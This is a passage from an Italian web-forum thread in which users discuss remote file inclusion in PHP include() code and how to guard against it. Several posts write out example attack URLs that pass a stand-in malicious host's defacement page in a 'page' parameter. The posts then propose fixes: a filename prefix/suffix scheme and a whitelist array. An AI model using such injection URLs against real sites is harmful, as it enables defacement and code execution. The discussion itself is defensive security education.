Pagina 3 di 5 primaprima 1 2 3 4 5 ultimoultimo
Visualizzazione dei risultati da 21 a 30 su 50
  1. #21
    [supersaibal]Originariamente inviato da troglos
    se il codice è maligno è fatto apposta per farti dei casini che manco immagini
    si puo' prendere il controllo del database, e a quel punto è fatta [/supersaibal]
    uh capito

    e come dovrebbe essere il codice risultante per far sì che siano includibili (inclusionabili? incredibboli?) solo i file sul server?
    Sotto la panza la mazza avanza.

  2. #22
    [supersaibal]Originariamente inviato da Caleb
    non si dovrebbe comunque avere accesso ai sorgenti del sito? [/supersaibal]
    Se passo una variabile in get così no, come ti ha spiegato Piero

    www.sitodefacciabile.it ? page=http://www.sitomaligno.it/paginadefacement

    Il problema è che con PHP5 file_exists funziona anche sui protocolli di rete.

    Anche se non fosse così, sarebbe un pessimo stile perchè su un server condiviso privo di restrizioni come open_basedir o safe_mode l'inclusione potrebbe avvenire da un altro sito presente sulla stessa macchina.


    Non ho provato, ma immagino che possa avvenire, anche con PHP4, persino all'interno della stessa rete via nfs o smb
    per favore NIENTE PVT TECNICI da sconosciuti

  3. #23
    ma quindi il problema sta in questa istruzione?

    if(!file_exists($page))

    cioè se si evita di controllare se il file da includere esiste, lo script può andar bene?
    Sotto la panza la mazza avanza.

  4. #24
    [supersaibal]Originariamente inviato da Caleb
    ma quindi il problema sta in questa istruzione?

    if(!file_exists($page))

    cioè se si evita di controllare se il file da includere esiste, lo script può andar bene? [/supersaibal]
    No, peggio ancora

    Un sistema potrebbe essere questo

    La pagina da includere si chiama "inc_mypagina.php" ;

    La variabile passata ($page) deve essere = mypagina

    $myInclude = 'inc_'.$_GET['pagina'].'.php' ;

    if(file_exists($myInclude))
    {
    include($myInclude) ;
    }

    Con un prefisso e un suffisso possiamo stare abbastanza sicuri. E' bene anche mettere i file da includere in una dir apposita
    per favore NIENTE PVT TECNICI da sconosciuti

  5. #25
    Utente di HTML.it L'avatar di M4rko
    Registrato dal
    Dec 2000
    Messaggi
    619
    Il controllo va su $_GET['page'], poi lo si puo fare come si vuole

    esempio grezzo:
    codice:
    // elenco delle pagine valide
    $pagine = array('main', 'errore', 'chisiamo', 'doveandiamo');
    if (!in_array($_GET['page'], $pagine)) {
      // pagina non valida
    }
    alcuni cms gestiscono una struttura simile "a moduli" su database (cioe l'elenco dei moduli attivi è memorizzata su database)

    in linea di massima ha gia detto Fabio
    Con un prefisso e un suffisso possiamo stare abbastanza sicuri. E' bene anche mettere i file da includere in una dir apposita
    Tutti hanno bisogno di credere in qualcosa.
    Io credo che mi farò un'altra birra.


  6. #26
    [supersaibal]Originariamente inviato da Fabio Heller
    No, peggio ancora

    Un sistema potrebbe essere questo

    La pagina da includere si chiama "inc_mypagina.php" ;

    La variabile passata ($page) deve essere = mypagina

    $myInclude = 'inc_'.$_GET['pagina'].'.php' ;

    if(file_exists($myInclude))
    {
    include($myInclude) ;
    }

    Con un prefisso e un suffisso possiamo stare abbastanza sicuri. E' bene anche mettere i file da includere in una dir apposita [/supersaibal]
    ok, ma non si è detto piu' su che il controllo file_exists lavora anche sulle pagine remote?
    nella variabile $myInclude non sarebbe ancora meglio specificare il dominio dove deve essere presente il file inc_mypagina.php?

  7. #27
    [supersaibal]Originariamente inviato da troglos
    ok, ma non si è detto piu' su che il controllo file_exists lavora anche sulle pagine remote?
    nella variabile $myInclude non sarebbe ancora meglio specificare il dominio dove deve essere presente il file inc_mypagina.php? [/supersaibal]
    si ma con un prefisso qualunque url gli passi dà errore

    inc_http://www.virgilio.it/ecc./ecc. non sarà mai un url corretto

  8. #28
    [supersaibal]Originariamente inviato da bubu77
    si ma con un prefisso qualunque url gli passi dà errore

    inc_http://www.virgilio.it/ecc./ecc. non sarà mai un url corretto [/supersaibal]
    giusto

  9. #29
    Utente di HTML.it L'avatar di kuarl
    Registrato dal
    Oct 2001
    Messaggi
    1,093
    [supersaibal]Originariamente inviato da Caleb
    mi chiarite questo punto? come potrebbe essere possibile defacciare un sito grazie a quel tipo di inclusione? non si dovrebbe comunque avere accesso ai sorgenti del sito? [/supersaibal]
    è semplice... metti nell'url qualcosa del tipo

    miapagina.php?page=http://sitoTruzzo/deface.htm

    e via

    [€dit] non avevo letto le risposte

  10. #30
    ho segnalato l'articolo alla redazione.

    quando trovate delle cappellate nei nostri articoli (può succedere, basta che non diventi una regola ) scrivetemi tranquillamente in pvt così possiamo correggere

    ciauzz
    w la topa

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.